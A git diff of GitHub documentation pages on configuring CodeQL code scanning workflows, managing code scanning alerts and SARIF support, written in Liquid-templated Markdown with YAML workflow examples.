matrix then {% data variables.product.prodname_codeql %} is hardcoded to analyze only the languages in the matrix. To change the languages you want to analyze, edit the value of the matrix variable. You can remove a language to prevent it being analyzed or you can add a language that was not present in the repository when {% data variables.product.prodname_code_scanning %} was set up. For example, if the repository initially only contained JavaScript when {% data variables.product.prodname_code_scanning %} was set up, and you later added Python code, you will need to add `python` to the matrix. + +```yaml +jobs: + analyze: + name: Analyze + ... + strategy: + fail-fast: false + matrix: + language: ['javascript', 'python'] +``` + +If your workflow does not contain a matrix called `language`, then {% data variables.product.prodname_codeql %} is configured to run analysis sequentially. If you don't specify languages in the workflow, {% data variables.product.prodname_codeql %} automatically detects, and attempts to analyze, any supported languages in the repository. If you want to choose which languages to analyze, without using a matrix, you can use the `languages` parameter under the `init` action. + +```yaml +- uses: github/codeql-action/init@v1 + with: + languages: cpp, csharp, python +``` +{% ifversion fpt or ghec %} +## Analyzing Python dependencies + +For GitHub-hosted runners that use Linux only, the {% data variables.product.prodname_codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`: + +- If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies. + +- If the repository doesn't have any Python dependencies, or the dependencies are specified in an unexpected way, you'll get a warning and the action will continue with the remaining jobs. The action can run successfully even when there are problems interpreting dependencies, but the results may be incomplete. + +Alternatively, you can install Python dependencies manually on any operating system. You will need to add `setup-python-dependencies` and set it to `false`, as well as set `CODEQL_PYTHON` to the Python executable that includes the dependencies, as shown in this workflow extract: + +```yaml +jobs: + CodeQL-Build: + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + permissions: + security-events: write + actions: read{% endif %} + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + - name: Set up Python + uses: actions/setup-python@v2 + with: + python-version: '3.x' + - name: Install dependencies + run: | + python -m pip install --upgrade pip + if [ -f requirements.txt ]; + then pip install -r requirements.txt; + fi + # Set the `CODEQL-PYTHON` environment variable to the Python executable + # that includes the dependencies + echo "CODEQL_PYTHON=$(which python)" >> $GITHUB_ENV + - name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + languages: python + # Override the default behavior so that the action doesn't attempt + # to auto-install Python dependencies + setup-python-dependencies: false +``` +{% endif %} + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +## Configuring a category for the analysis + +Use `category` to distinguish between multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. The category you specify in your workflow will be included in the SARIF results file. + +This parameter is particularly useful if you work with monorepos and have multiple SARIF files for different components of the monorepo. + +{% raw %} +``` yaml + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze + with: + # Optional. Specify a category to distinguish between multiple analyses + # for the same tool and ref. If you don't use `category` in your workflow, + # GitHub will generate a default category name for you + category: "my_category" +``` +{% endraw %} + +If you don't specify a `category` parameter in your workflow, {% data variables.product.product_name %} will generate a category name for you, based on the name of the workflow file triggering the action, the action name, and any matrix variables. For example: +- The `.github/workflows/codeql-analysis.yml` workflow and the `analyze` action will produce the category `.github/workflows/codeql.yml:analyze`. +- The `.github/workflows/codeql-analysis.yml` workflow, the `analyze` action, and the `{language: javascript, os: linux}` matrix variables will produce the category `.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`. + +The `category` value will appear as the `.automationDetails.id` property in SARIF v2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object)." + +Your specified category will not overwrite the details of the `runAutomationDetails` object in the SARIF file, if included. + +{% endif %} + +## Running additional queries + +{% data reusables.code-scanning.run-additional-queries %} + +{% if codeql-packs %} +### Using {% data variables.product.prodname_codeql %} query packs + +{% data reusables.code-scanning.beta-codeql-packs-cli %} + +To add one or more {% data variables.product.prodname_codeql %} query packs (beta), add a `with: packs:` entry within the `uses: github/codeql-action/init@v1` section of the workflow. Within `packs` you specify one or more packages to use and, optionally, which version to download. Where you don't specify a version, the latest version is downloaded. If you want to use packages that are not publicly available, you need to set the `GITHUB_TOKEN` environment variable to a secret that has access to the packages. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)." + +{% note %} + +**Note:** For workflows that generate {% data variables.product.prodname_codeql %} databases for multiple languages, you must instead specify the {% data variables.product.prodname_codeql %} query packs in a configuration file. For more information, see "[Specifying {% data variables.product.prodname_codeql %} query packs](#specifying-codeql-query-packs)" below. + +{% endnote %} + +In the example below, `scope` is the organization or personal account that published the package. When the workflow runs, the three {% data variables.product.prodname_codeql %} query packs are downloaded from {% data variables.product.product_name %} and the default queries or query suite for each pack run. The latest version of `pack1` is downloaded as no version is specified. Version 1.2.3 of `pack2` is downloaded, as well as the latest version of `pack3` that is compatible with version 1.2.3. + +{% raw %} +``` yaml +- uses: github/codeql-action/init@v1 + with: + # Comma-separated list of packs to download + packs: scope/pack1,scope/pack2@1.2.3,scope/pack3@~1.2.3 +``` +{% endraw %} + +### Using queries in QL packs +{% endif %} +To add one or more queries, add a `with: queries:` entry within the `uses: github/codeql-action/init@v1` section of the workflow. If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository. + +{% raw %} +``` yaml +- uses: github/codeql-action/init@v1 + with: + queries: COMMA-SEPARATED LIST OF PATHS + # Optional. Provide a token to access queries stored in private repositories. + external-repository-token: ${{ secrets.ACCESS_TOKEN }} +``` +{% endraw %} + +You can also specify query suites in the value of `queries`. Query suites are collections of queries, usually grouped by purpose or language. + +{% data reusables.code-scanning.codeql-query-suites %} + +{% if codeql-packs %} +### Working with custom configuration files +{% endif %} + +If you also use a configuration file for custom settings, any additional {% if codeql-packs %}packs or {% endif %}queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional {% if codeql-packs %}packs or {% endif %}queries, prefix the value of {% if codeql-packs %}`packs` or {% endif %}`queries` in the workflow with the `+` symbol. For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." + +In the following example, the `+` symbol ensures that the specified additional {% if codeql-packs %}packs and {% endif %}queries are used together with any specified in the referenced configuration file. + +``` yaml +- uses: github/codeql-action/init@v1 + with: + config-file: ./.github/codeql/codeql-config.yml + queries: +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main + {%- if codeql-packs %} + packs: +scope/pack1,scope/pack2@v1.2.3 + {% endif %} +``` + +## Using a custom configuration file + +A custom configuration file is an alternative way to specify additional {% if codeql-packs %}packs and {% endif %}queries to run. You can also use the file to disable the default queries and to specify which directories to scan during analysis. + +In the workflow file, use the `config-file` parameter of the `init` action to specify the path to the configuration file you want to use. This example loads the configuration file _./.github/codeql/codeql-config.yml_. + +``` yaml +- uses: github/codeql-action/init@v1 + with: + config-file: ./.github/codeql/codeql-config.yml +``` + +{% data reusables.code-scanning.custom-configuration-file %} + +If the configuration file is located in an external private repository, use the `external-repository-token` parameter of the `init` action to specify a token that has access to the private repository. + +{% raw %} +```yaml +- uses: github/codeql-action/init@v1 + with: + external-repository-token: ${{ secrets.ACCESS_TOKEN }} +``` +{% endraw %} + +The settings in the configuration file are written in YAML format. + +{% if codeql-packs %} +### Specifying {% data variables.product.prodname_codeql %} query packs + +{% data reusables.code-scanning.beta-codeql-packs-cli %} + +You specify {% data variables.product.prodname_codeql %} query packs in an array. Note that the format is different from the format used by the workflow file. + +{% raw %} +``` yaml +packs: + # Use the latest version of 'pack1' published by 'scope' + - scope/pack1 + # Use version 1.23 of 'pack2' + - scope/pack2@v1.2.3 + # Use the latest version of 'pack3' compatible with 1.23 + - scope/pack3@~1.2.3 +``` +{% endraw %} + +If you have a workflow that generates more than one {% data variables.product.prodname_codeql %} database, you can specify any {% data variables.product.prodname_codeql %} query packs to run in a custom configuration file using a nested map of packs. + +{% raw %} +``` yaml +packs: + # Use these packs for JavaScript analysis + javascript: + - scope/js-pack1 + - scope/js-pack2 + # Use these packs for Java analysis + java: + - scope/java-pack1 + - scope/java-pack2@v1.0.0 +``` +{% endraw %} +{% endif %} + +### Specifying additional queries + +You specify additional queries in a `queries` array. Each element of the array contains a `uses` parameter with a value that identifies a single query file, a directory containing query files, or a query suite definition file. + +``` yaml +queries: + - uses: ./my-basic-queries/example-query.ql + - uses: ./my-advanced-queries + - uses: ./query-suites/my-security-queries.qls +``` + +Optionally, you can give each array element a name, as shown in the example configuration files below. For more information about additional queries, see "[Running additional queries](#running-additional-queries)" above. + +### Disabling the default queries + +If you only want to run custom queries, you can disable the default security queries by using `disable-default-queries: true`. + +### Specifying directories to scan + +For the interpreted languages that {% data variables.product.prodname_codeql %} supports (Python{% ifversion fpt or ghes > 3.3 or ghae-issue-5017 %}, Ruby{% endif %} and JavaScript/TypeScript), you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. You can exclude the files in specific directories from analysis by adding a `paths-ignore` array. + +``` yaml +paths: + - src +paths-ignore: + - src/node_modules + - '**/*.test.js' +``` + +{% note %} + +**Note**: + +* The `paths` and `paths-ignore` keywords, used in the context of the {% data variables.product.prodname_code_scanning %} configuration file, should not be confused with the same keywords when used for `on..paths` in a workflow. When they are used to modify `on.` in a workflow, they determine whether the actions will be run when someone modifies code in the specified directories. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)." +* The filter pattern characters `?`, `+`, `[`, `]`, and `!` are not supported and will be matched literally. +* `**` characters can only be at the start or end of a line, or surrounded by slashes, and you can't mix `**` and other characters. For example, `foo/**`, `**/foo`, and `foo/**/bar` are all allowed syntax, but `**foo` isn't. However you can use single stars along with other characters, as shown in the example. You'll need to quote anything that contains a `*` character. + +{% endnote %} + +For compiled languages, if you want to limit {% data variables.product.prodname_code_scanning %} to specific directories in your project, you must specify appropriate build steps in the workflow. The commands you need to use to exclude a directory from the build will depend on your build system. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." + +You can quickly analyze small portions of a monorepo when you modify code in specific directories. You'll need to both exclude directories in your build steps and use the `paths-ignore` and `paths` keywords for [`on.`](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths) in your workflow. + +### Example configuration files + +{% data reusables.code-scanning.example-configuration-files %} + +## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages + +{% data reusables.code-scanning.autobuild-compiled-languages %} {% data reusables.code-scanning.analyze-go %} + +{% data reusables.code-scanning.autobuild-add-build-steps %} For more information about how to configure {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for compiled languages, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages)." + +## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} + +{% data variables.product.prodname_dotcom %} can display code analysis data generated externally by a third-party tool. You can upload code analysis data with the `upload-sarif` action. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md new file mode 100644 index 0000000000..4f9478f221 --- /dev/null +++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md @@ -0,0 +1,30 @@ +--- +title: Automatically scanning your code for vulnerabilities and errors +shortTitle: Scan code automatically +intro: 'You can find vulnerabilities and errors in your project''s code on {% data variables.product.prodname_dotcom %}, as well as view, triage, understand, and resolve the related {% data variables.product.prodname_code_scanning %} alerts.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security + - Code scanning +children: + - /about-code-scanning + - /triaging-code-scanning-alerts-in-pull-requests + - /setting-up-code-scanning-for-a-repository + - /managing-code-scanning-alerts-for-your-repository + - /tracking-code-scanning-alerts-in-issues-using-task-lists + - /configuring-code-scanning + - /about-code-scanning-with-codeql + - /configuring-the-codeql-workflow-for-compiled-languages + - /troubleshooting-the-codeql-workflow + - /running-codeql-code-scanning-in-a-container + - /viewing-code-scanning-logs +--- + diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md new file mode 100644 index 0000000000..2b8052ebfc --- /dev/null +++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md @@ -0,0 +1,259 @@ +--- +title: Managing code scanning alerts for your repository +shortTitle: Manage alerts +intro: 'From the security view, you can view, fix, dismiss, or delete alerts for potential vulnerabilities or errors in your project''s code.' +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'If you have write permission to a repository you can manage {% data variables.product.prodname_code_scanning %} alerts for that repository.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/managing-security-vulnerabilities/managing-alerts-from-automated-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-alerts-from-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository + - /code-security/secure-coding/managing-code-scanning-alerts-for-your-repository + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository +type: how_to +topics: + - Advanced Security + - Code scanning + - Alerts + - Repositories +--- + + +{% data reusables.code-scanning.beta %} + +## About alerts from {% data variables.product.prodname_code_scanning %} + +You can set up {% data variables.product.prodname_code_scanning %} to check the code in a repository using the default {% data variables.product.prodname_codeql %} analysis, a third-party analysis, or multiple types of analysis. When the analysis is complete, the resulting alerts are displayed alongside each other in the security view of the repository. Results from third-party tools or from custom queries may not include all of the properties that you see for alerts detected by {% data variables.product.company_short %}'s default {% data variables.product.prodname_codeql %} analysis. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." + +By default, {% data variables.product.prodname_code_scanning %} analyzes your code periodically on the default branch and during pull requests. For information about managing alerts on a pull request, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +## About alerts details + +Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the severity{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, security severity,{% endif %} and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem. + +![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-alert.png) + +If you set up {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, this can also detect data-flow problems in your code. Data-flow analysis finds potential security issues in code, such as: using data insecurely, passing dangerous arguments to functions, and leaking sensitive information. + +When {% data variables.product.prodname_code_scanning %} reports data-flow alerts, {% data variables.product.prodname_dotcom %} shows you how data moves through the code. {% data variables.product.prodname_code_scanning_capc %} allows you to identify the areas of your code that leak sensitive information, and that could be the entry point for attacks by malicious users. + +### About severity levels + +Alert severity levels may be `Error`, `Warning`, or `Note`. + +By default, any code scanning results with a severity of `error` will cause check failure. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can specify the severity level at which pull requests that trigger code scanning alerts should fail. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)."{% endif %} + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +### About security severity levels + +{% data variables.product.prodname_code_scanning_capc %} displays security severity levels for alerts that are generated by security queries. Security severity levels can be `Critical`, `High`, `Medium`, or `Low`. + +To calculate the security severity of an alert, we use Common Vulnerability Scoring System (CVSS) data. CVSS is an open framework for communicating the characteristics and severity of software vulnerabilities, and is commonly used by other security products to score alerts. For more information about how severity levels are calculated, see [the blog post](https://github.blog/changelog/2021-07-19-codeql-code-scanning-new-severity-levels-for-security-alerts/). + +By default, any code scanning results with a security severity of `Critical` or `High` will cause a check failure. You can specify which security severity level for code scanning results should cause a check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)."{% endif %} + +### About labels for alerts that are not found in application code + +{% data variables.product.product_name %} assigns a category label to alerts that are not found in application code. The label relates to the location of the alert. + +- **Generated**: Code generated by the build process +- **Test**: Test code +- **Library**: Library or third-party code +- **Documentation**: Documentation + +{% data variables.product.prodname_code_scanning_capc %} categorizes files by file path. You cannot manually categorize source files. + +Here is an example from the {% data variables.product.prodname_code_scanning %} alert list of an alert marked as occuring in library code. + +![Code scanning library alert in list](/assets/images/help/repository/code-scanning-library-alert-index.png) + +On the alert page, you can see that the filepath is marked as library code (`Library` label). + +![Code scanning library alert details](/assets/images/help/repository/code-scanning-library-alert-show.png) + +## Viewing the alerts for a repository + +Anyone with read permission for a repository can see {% data variables.product.prodname_code_scanning %} annotations on pull requests. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +You need write permission to view a summary of all the alerts for a repository on the **Security** tab. + +By default, the code scanning alerts page is filtered to show alerts for the default branch of the repository only. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-code-scanning-alerts %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +1. Optionally, use the free text search box or the drop-down menus to filter alerts. For example, you can filter by the tool that was used to identify alerts. + ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png){% endif %} +{% data reusables.code-scanning.explore-alert %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + ![Summary of alerts](/assets/images/help/repository/code-scanning-click-alert.png) +{% else %} + ![List of alerts from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) +{% endif %} +1. Optionally, if the alert highlights a problem with data flow, click **Show paths** to display the path from the data source to the sink where it's used. + ![The "Show paths" link on an alert](/assets/images/help/repository/code-scanning-show-paths.png) +1. Alerts from {% data variables.product.prodname_codeql %} analysis include a description of the problem. Click **Show more** for guidance on how to fix your code. + ![Details for an alert](/assets/images/help/repository/code-scanning-alert-details.png) + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% note %} + +**Note:** For {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_codeql %}, you can see information about the latest run in a header at the top of the list of {% data variables.product.prodname_code_scanning %} alerts for the repository. + +For example, you can see when the last scan ran, the number of lines of code analyzed compared to the total number of lines of code in your repository, and the total number of alerts that were generated. + ![UI banner](/assets/images/help/repository/code-scanning-ui-banner.png) + +{% endnote %} +{% endif %} + +## Filtering {% data variables.product.prodname_code_scanning %} alerts + +You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. + +- To use a predefined filter, click **Filters**, or a filter shown in the header of the list of alerts, and choose a filter from the drop-down list. + {% ifversion fpt or ghes > 3.0 or ghec %}![Predefined filters](/assets/images/help/repository/code-scanning-predefined-filters.png) + {% else %}![Predefined filters](/assets/images/enterprise/3.0/code-scanning-predefined-filters.png){% endif %} +- To use a keyword, either type directly in the filters text box, or: + 1. Click in the filters text box to show a list of all available filter keywords. + 2. Click the keyword you want to use and then choose a value from the drop-down list. + ![Keyword filters list](/assets/images/help/repository/code-scanning-filter-keywords.png) + +The benefit of using keyword filters is that only values with results are shown in the drop-down lists. This makes it easy to avoid setting filters that find no results. + +If you enter multiple filters, the view will show alerts matching _all_ these filters. For example, `is:closed severity:high branch:main` will only display closed high-severity alerts that are present on the `main` branch. The exception is filters relating to refs (`ref`, `branch` and `pr`): `is:open branch:main branch:next` will show you open alerts from both the `main` branch and the `next` branch. + +### Restricting results to application code only + +You can use the "Only alerts in application code" filter or `autofilter:true` keyword and value to restrict results to alerts in application code. See "[About labels for alerts not in application code](#about-labels-for-alerts-that-are-not-found-in-application-code)" above for more information about the types of code that are not application code. + +{% ifversion fpt or ghes > 3.1 or ghec %} + +## Searching {% data variables.product.prodname_code_scanning %} alerts + +You can search the list of alerts. This is useful if there is a large number of alerts in your repository, or if you don't know the exact name for an alert for example. {% data variables.product.product_name %} performs the free text search across: +- The name of the alert +- The alert description +- The alert details (this also includes the information hidden from view by default in the **Show more** collapsible section) + + ![The alert information used in searches](/assets/images/help/repository/code-scanning-free-text-search-areas.png) + +| Supported search | Syntax example | Results | +| ---- | ---- | ---- | +| Single word search | `injection` | Returns all the alerts containing the word `injection` | +| Multiple word search | `sql injection` | Returns all the alerts containing `sql` or `injection` | +| Exact match search
                    (use double quotes) | `"sql injection"` | Returns all the alerts containing the exact phrase `sql injection` | +| OR search | `sql OR injection` | Returns all the alerts containing `sql` or `injection` | +| AND search | `sql AND injection` | Returns all the alerts containing both words `sql` and `injection` | + +{% tip %} + +**Tips:** +- The multiple word search is equivalent to an OR search. +- The AND search will return results where the search terms are found _anywhere_, in any order in the alert name, description, or details. + +{% endtip %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-code-scanning-alerts %} +1. To the right of the **Filters** drop-down menus, type the keywords to search for in the free text search box. + ![The free text search box](/assets/images/help/repository/code-scanning-search-alerts.png) +2. Press return. The alert listing will contain the open {% data variables.product.prodname_code_scanning %} alerts matching your search criteria. + +{% endif %} + +{% ifversion fpt or ghes > 3.3 or ghae-issue-5036 %} +## Tracking {% data variables.product.prodname_code_scanning %} alerts in issues + +{% data reusables.code-scanning.beta-alert-tracking-in-issues %} +{% data reusables.code-scanning.github-issues-integration %} +{% data reusables.code-scanning.alert-tracking-link %} + +{% endif %} + +## Fixing an alert + +Anyone with write permission for a repository can fix an alert by committing a correction to the code. If the repository has {% data variables.product.prodname_code_scanning %} scheduled to run on pull requests, it's best to raise a pull request with your correction. This will trigger {% data variables.product.prodname_code_scanning %} analysis of the changes and test that your fix doesn't introduce any new problems. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." + +If you have write permission for a repository, you can view fixed alerts by viewing the summary of alerts and clicking **Closed**. For more information, see "[Viewing the alerts for a repository](#viewing-the-alerts-for-a-repository)." The "Closed" list shows fixed alerts and alerts that users have dismissed. + +You can use{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then in turn mark all matching alerts as closed. + +Alerts may be fixed in one branch but not in another. You can use the "Branch" drop-down menu, on the summary of alerts, to check whether an alert is fixed in a particular branch. + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +![Filtering alerts by branch](/assets/images/help/repository/code-scanning-branch-filter.png) +{% else %} +![Filtering alerts by branch](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-filter.png) +{% endif %} + +## Dismissing or deleting alerts + +There are two ways of closing an alert. You can fix the problem in the code, or you can dismiss the alert. Alternatively, if you have admin permissions for the repository, you can delete alerts. Deleting alerts is useful in situations where you have set up a {% data variables.product.prodname_code_scanning %} tool and then decided to remove it, or where you have configured {% data variables.product.prodname_codeql %} analysis with a larger set of queries than you want to continue using, and you've then removed some queries from the tool. In both cases, deleting alerts allows you to clean up your {% data variables.product.prodname_code_scanning %} results. You can delete alerts from the summary list within the **Security** tab. + +Dismissing an alert is a way of closing an alert that you don't think needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} You can dismiss alerts from {% data variables.product.prodname_code_scanning %} annotations in code, or from the summary list within the **Security** tab. + +When you dismiss an alert: + +- It's dismissed in all branches. +- The alert is removed from the number of current alerts for your project. +- The alert is moved to the "Closed" list in the summary of alerts, from where you can reopen it, if required. +- The reason why you closed the alert is recorded. +- Next time {% data variables.product.prodname_code_scanning %} runs, the same code won't generate an alert. + +When you delete an alert: + +- It's deleted in all branches. +- The alert is removed from the number of current alerts for your project. +- It is _not_ added to the "Closed" list in the summary of alerts. +- If the code that generated the alert stays the same, and the same {% data variables.product.prodname_code_scanning %} tool runs again without any configuration changes, the alert will be shown again in your analysis results. + +To dismiss or delete alerts: + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-code-scanning-alerts %} +1. If you have admin permissions for the repository, and you want to delete alerts for this {% data variables.product.prodname_code_scanning %} tool, select some or all of the check boxes and click **Delete**. + + ![Deleting alerts](/assets/images/help/repository/code-scanning-delete-alerts.png) + + Optionally, you can use{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then delete all matching alerts at once. For example, if you have removed a query from {% data variables.product.prodname_codeql %} analysis, you can use the "Rule" filter to list just the alerts for that query and then select and delete all of those alerts. + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + ![Filter alerts by rule](/assets/images/help/repository/code-scanning-filter-by-rule.png) +{% else %} + ![Filter alerts by rule](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) +{% endif %} + +1. If you want to dismiss an alert, it's important to explore the alert first, so that you can choose the correct dismissal reason. Click the alert you'd like to explore. + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + ![Open an alert from the summary list](/assets/images/help/repository/code-scanning-click-alert.png) +{% else %} + ![List of alerts from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) +{% endif %} +1. Review the alert, then click **Dismiss** and choose a reason for closing the alert. + ![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) + + {% data reusables.code-scanning.choose-alert-dismissal-reason %} + + {% data reusables.code-scanning.false-positive-fix-codeql %} + +### Dismissing multiple alerts at once + +If a project has multiple alerts that you want to dismiss for the same reason, you can bulk dismiss them from the summary of alerts. Typically, you'll want to filter the list and then dismiss all of the matching alerts. For example, you might want to dismiss all of the current alerts in the project that have been tagged for a particular Common Weakness Enumeration (CWE) vulnerability. + +## Further reading + +- "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" +- "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" +- "[About integration with {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-integration-with-code-scanning)" diff --git a/translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md new file mode 100644 index 0000000000..dd455f1b35 --- /dev/null +++ b/translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md @@ -0,0 +1,751 @@ +--- +title: SARIF support for code scanning +shortTitle: SARIF support +intro: 'To display results from a third-party static analysis tool in your repository on {% data variables.product.prodname_dotcom %}, you''ll need your results stored in a SARIF file that supports a specific subset of the SARIF 2.1.0 JSON schema for {% data variables.product.prodname_code_scanning %}. If you use the default {% data variables.product.prodname_codeql %} static analysis engine, then your results will display in your repository on {% data variables.product.prodname_dotcom %} automatically.' +product: '{% data reusables.gated-features.code-scanning %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-sarif-support-for-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/sarif-support-for-code-scanning + - /code-security/secure-coding/sarif-support-for-code-scanning + - /code-security/secure-coding/integrating-with-code-scanning/sarif-support-for-code-scanning +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: reference +topics: + - Advanced Security + - Code scanning + - Integration + - SARIF +--- + + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.deprecation-codeql-runner %} + +## About SARIF support + +SARIF (Static Analysis Results Interchange Format) is an [OASIS Standard](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) that defines an output file format. The SARIF standard is used to streamline how static analysis tools share their results. {% data variables.product.prodname_code_scanning_capc %} supports a subset of the SARIF 2.1.0 JSON schema. + +To upload a SARIF file from a third-party static code analysis engine, you'll need to ensure that uploaded files use the SARIF 2.1.0 version. {% data variables.product.prodname_dotcom %} will parse the SARIF file and show alerts using the results in your repository as a part of the {% data variables.product.prodname_code_scanning %} experience. For more information, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom 